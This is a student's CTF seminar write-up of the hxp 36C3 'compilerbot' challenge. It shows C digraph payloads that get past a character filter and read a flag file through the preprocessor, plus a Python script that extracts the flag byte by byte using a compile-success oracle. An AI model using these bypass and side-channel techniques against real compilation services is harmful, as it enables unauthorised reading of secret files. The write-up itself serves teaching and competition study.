]> git.somenet.org - pub/jan/ctf-seminar.git/blob - writeups/jbleier/hxp_36c3_ctf.md
Added writeup
[pub/jan/ctf-seminar.git] / writeups / jbleier / hxp_36c3_ctf.md
1 # HXP CTF
2
3 ## Assesment 1
4
5 This story starts with a cup of tea and a look around, usually it takes a while to find an interesting challenge
6
7 1. compilerbot
8     1. docker, python and a stripped ELF 64-bit LSB shared object, x86-64 as per the `file` sommand
9     2. the python3 service is receiving string, removing '{#}' and sending to clang to compile
10     3. the binary is ynetd, a "tiny super server written in go", but in the dockerfile cli options are used that do not appear in the ynetd documentation
11     4. running it gives us "ctf-ynetd: hardened for ctfs", meh. cli settings limit memory used and cpu-time
12     5. unexpectedly, the first challenge I look at is interesting, proceeding.
13
14 ## compilerbot
15
16 1. clang invoked with:
17     - -x c → c language only
18     - -std=c11 → c11 compliance
19     - -Wall, -Wextra, -Werror, -Wmain, -Wfatal-errors → as it should be ;) anything and their dog will throw an error and they will fail compilation.
20     - -o /dev/null → the compiled thing will never be run.
21     - output is checked and "ok" / "not ok" returned → we can't read stdout but we get binary response
22 2. general idea:
23     1. make clang read flag file and return ok/not depending on its content
24     2. crash the compiler if a certain bit in a flag file is set, succeed with compilation if not. or by character.
25 3. caveats:
26     1. no blocks because "{}" is filtered
27     2. no includes/pragma because "#" is filtered
28 4. sanity check: `echo "return 1;" | base64` sending results in OK. nice.
29 5. set up local testing: `clang -x c -std=c11 -Wall -Wextra -Werror -Wmain -Wfatal-errors foo.c && ./a.out` and put everything inside `int main(void) {}`
30 6. can trigrams work? → google says it's trigraphs and no, trigraph converted to pound throws an error with the given settings. No include magic. damn
31     1. `foo.c:3:9: fatal error: multi-line // comment [-Wcomment]
32     //??/`
33     2. `foo.c:2:5: fatal error: trigraph converted to '#' character [-Wtrigraphs]`
34 7. and digraphs? → YES! nice. `%:` is a substitute for `#`, and `<%` and `%>` can subs `{}`
35 8. includes are game now, as are pragmas.
36     1. make our life easier and disable all warnings, because that's a thing that works
37
38             #include <stdio.h>  // just testing multiline 
39             int main() {
40                 %:pragma clang diagnostic ignored "-Weverything"
41                 //??/
42                 printf("hi"); // does not print because line above uses trigraph for \, making multi-line comment possible
43                 // does also not throw an error because pragma works without pragma throws error.
44             }
45
46 9. primitives we need:
47     1. get content of file into some kind of variable.
48     2. make bit/char comparision in the precompiler and crash compilation in one case
49 10. read content into var: (this took a while)
50     1. stackoverflow not very promising: [https://stackoverflow.com/questions/43256465/include-a-file-as-a-string](https://stackoverflow.com/questions/43256465/include-a-file-as-a-string) 
51     2. clang manual not helpful (grep read, initialize, ..) [https://clang.llvm.org/docs/UsersManual.html](https://clang.llvm.org/docs/UsersManual.html)
52     3. we can't just `char flag[] = #include "flag";` because include flag is not a string.
53     4. we need to cast it in the preprocessor
54         1. [https://stackoverflow.com/questions/240353/convert-a-preprocessor-token-to-a-string/240361](https://stackoverflow.com/questions/240353/convert-a-preprocessor-token-to-a-string/240361)
55         2. nice, we can cast it easily with `#define STRINGIFY(x) #x` makes token x to a string
56     5. so we need to surround it with STRINGIFY
57
58             #define STRINGIFY(x) #x
59             char flag[] = 
60             STRINGIFY(
61             #include "flag"
62             );
63
64         1. does not work because `#include directive within macro arguments is not supported`
65         2. damn. <took a break to think>
66         3. what if we first include and then trigger by replacing part of the flag we know? (hxp)
67
68                 #include <stdio.h>
69                 
70                 int main() {
71                     %:pragma clang diagnostic ignored "-Weverything"
72                    
73                     %:define STRINGIFY(x) #x
74                     %:define hxp STRINGIFY(
75                     char flag[] = 
76                     %:include "flag"
77                     );
78                     printf(flag);
79                 }
80
81         4. YESS that's a bingo
82 11. so, how to extract the flag with yes/no questions?
83     1. just brute force crashes with out of bounds
84     2. scrap crash, throw error or warning is enough, so we enable warnings again and use the flag value as an index to a const array → crashes if the flag character cast to int is out of bounds, with the length we can go 1 char at a time. 
85
86             // #include <stdio.h>
87             
88             int main() {
89             //    %:pragma clang diagnostic ignored "-Weverything"
90                
91             
92                 #define STRINGIFY(x) #x
93                 #define hxp STRINGIFY(
94                 const unsigned char flag[] = 
95                 #include "flag"
96                 );
97             
98                 const char test[127] = {0}; // crashes on 10, works on 127 
99             
100                 char c = test[flag[0]];
101             
102                 return c;
103             }
104
105     3. python time!
106
107             #!/usr/bin/env python3
108             
109             import base64
110             import socket
111             
112             
113             def compiles(program):
114                 encoded_program = base64.b64encode(bytearray(program, "ascii"))
115                 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
116                 # s.connect(("localhost", 8011))
117                 s.connect(("88.198.154.157", 8011))
118                 s.recv(100)
119                 # print(encoded_program)
120                 s.send(encoded_program)
121                 s.sendall(bytearray("\r\n", "ascii"))
122                 answer = s.recv(100)
123                 # print(str(answer))
124                 return answer.decode("ascii").find("Not OK") < 0
125             
126             
127             # testing is important
128             # progok = "return 1;"
129             # prognot = "return foo;"
130             # print(compiles(progok))
131             # print(compiles(prognot))
132             
133             
134             prog_brute = """
135                 %:define STRINGIFY(x) %:x
136                 %:define hxp STRINGIFY(
137                 const unsigned char flag[] =
138                 %:include "flag"
139                 );
140             
141                 const char test[{}] = <% 0 %>;
142                 char c = test[flag[{}]];
143             
144                 return c;
145             """
146             
147             
148             def mkprg(flag_position, value):
149                 return prog_brute.format(value, flag_position)
150             
151             # more testing if everything works as expected
152             # print(mkprg(0, 127))
153             # print(compiles(mkprg(0, 127)))
154             # print(mkprg(0, 10))
155             # print(compiles(mkprg(0, 10)))
156             
157             
158             pos = 0
159             flag = []
160             while True:
161                 for c in range(32, 128): # printable ascii characters start at 32
162                     # print(chr(c))
163                     if compiles(mkprg(pos, c)):
164                         c -= 1 # adjust for indexing
165                         print("found " + chr(c))
166                         flag.append(chr(c))
167                         break
168                 if flag[-1] == '}': # we know the flag ends with this caracter
169                     break
170                 pos += 1
171             
172             print(''.join(flag))
173
174     4. Boom goes the dynamite.
175     `{Cl4n6_15_c00l_bu7_y0u_r34lly_0u6h7_70_7ry_gcc_-traditional-cpp_s0m3_d4y}`
176
177 ## Summary
178
179 To my surprise I found a challenge right away that was interesting and on my skill level, usually it's much context switching and headbanging. In this case reading the flag file into a usable form was the most difficult part.
180
181 ### Technical Analysis
182
183 Compiling C is hard and doing it safely even more so ([https://www.reddit.com/r/ProgrammerHumor/comments/8y7eo4/title/](https://www.reddit.com/r/ProgrammerHumor/comments/8y7eo4/title/)). I expected this challenge to be about having to know a certain trick, and to an extent it was the case: if certain characters are not available, Di- and Tri-graphs can be used as substitutes. The vulnerability in the compilerbot was not much more than a simple input validation issue. If the according trigraphs were not allowed, I guess there would still be clang internals one could exploit because there's just so much more attack surface — but it would have been a lot more difficult. 
184
185 To extract the flag a trick needs to be applied as the string can't be returned directly, only a binary value can be extracted. So for every position the flag value is used as an index to an array of increasing length per iteration. If the length is too short, the compiler will throw an error. If the length is sufficient however to read from our test array, the compilation succeeds and we know the value of a character of the flag.